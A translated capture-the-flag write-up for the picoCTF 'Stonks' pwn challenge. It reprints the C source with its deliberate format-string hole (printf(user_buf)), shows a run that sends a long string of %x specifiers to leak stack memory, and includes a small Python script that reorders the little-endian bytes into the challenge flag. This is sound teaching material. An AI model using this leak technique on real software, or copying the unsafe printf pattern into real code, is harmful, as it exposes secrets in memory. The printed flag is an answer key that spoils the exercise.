This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Stonks

pico
pwn

July 2, 20253 minutes

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

There is a format string vulnerability in printf(user_buf);, since the user input is printed without specifying the type, and because the flag is stored on the stack we can try to read it.

Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
8ffb3b0804b00080489c3f7f41d80ffffffff18ff9160f7f4f110f7f41dc708ffa180148ffb3908ffb3b06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e6263376365616336ff87007df7f7caf8f7f4f440919b100010f7ddece9f7f500c0f7f415c0f7f41000ff8752f8f7dcf68df7f415c08048ecaff8753040f7f63f09804b000f7f41000f7f41e20ff875338f7f69d50f7f42890919b1000f7f41000804b000ff8753388048c868ff9160ff875324ff8753388048be9f7f413fc0ff8753ecff8753e4118ff9160919b1000ff87535000f7d84fa1f7f41000f7f410000f7d84fa11ff8753e4ff8753ecff87537410f7f41000f7f6470af7f7c000
Portfolio as of Tue Jul  1 10:05:21 UTC 2025


20 shares of JTA
29 shares of Z
161 shares of WBP
99 shares of FE
151 shares of B
199 shares of IEV
Goodbye!

To convert from hex to str you can use pwntools

pwn unhex 8757370804b00080489c3f7f74d80ffffffff18755160f7f82110f7f74dc7087561807875735087573706f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e6263376365616336ffbb007df7fafaf8f7f8244019a85e0010f7e11ce9f7f830c0f7f745c0f7f74000ffbb4448f7e0268df7f745c08048ecaffbb44540f7f96f09804b000f7f74000f7f74e20ffbb4488f7f9cd50f7f7589019a85e00f7f74000804b000ffbb44888048c868755160ffbb4474ffbb44888048be9f7f743fc0ffbb453cffbb453411875516019a85e00ffbb44a000f7db7fa1f7f74000f7f740000f7db7fa11ffbb4534ffbb453cffbb44c410f7f74000f7f9770af7faf0000f7f7400000d0eaf329109d7539000180486300f7f9cd50f7f97960804b00018048630080486628048b851ffbb45348048cd08048d30f7f97960ffbb452cf7faf9401ffbb5e780ffbb5eb1ffbb5ebeffbb5ec7ffbb5ef6ffbb5f2effbb5f4affbb5f6bffbb5f73020f7f87b5021f7f87000101f8bfbff610001164380480344
�W��H�?t�����U�t�p�V�Wuspocip{FTC0l_I4_t5m_ll0m_y_y3nbc7ceac6��}������$@�^�����0���E���@��DH��&���E��H���E@��o	�Ktt���H���u�������D��H�huQ`��Dt��D��H��t?���E<��E4�U�����J}��tt�����SO��S���LAt�p����@���)�u9�Hc���P��y`�K�Hc�Hf(����SH�ЀH�����R�����^x�������������o���������������0 ��{P!��p���aC�HD

We already have the flag, but it needs to be formatted properly, since it is in little endian

flag = "ocip{FTC0l_I4_t5m_ll0m_y_y3nbc7ceac6��}"
final = ""
for i in range(0, len(flag), 4):
    r = flag[i:i+4]
    r = r[::-1]
    final += r
    print(final)
$ python3 r.py 

pico
picoCTF{
picoCTF{I_l0
picoCTF{I_l05t_4
picoCTF{I_l05t_4ll_m
picoCTF{I_l05t_4ll_my_m0
picoCTF{I_l05t_4ll_my_m0n3y_
picoCTF{I_l05t_4ll_my_m0n3y_c7cb
picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae
picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae}��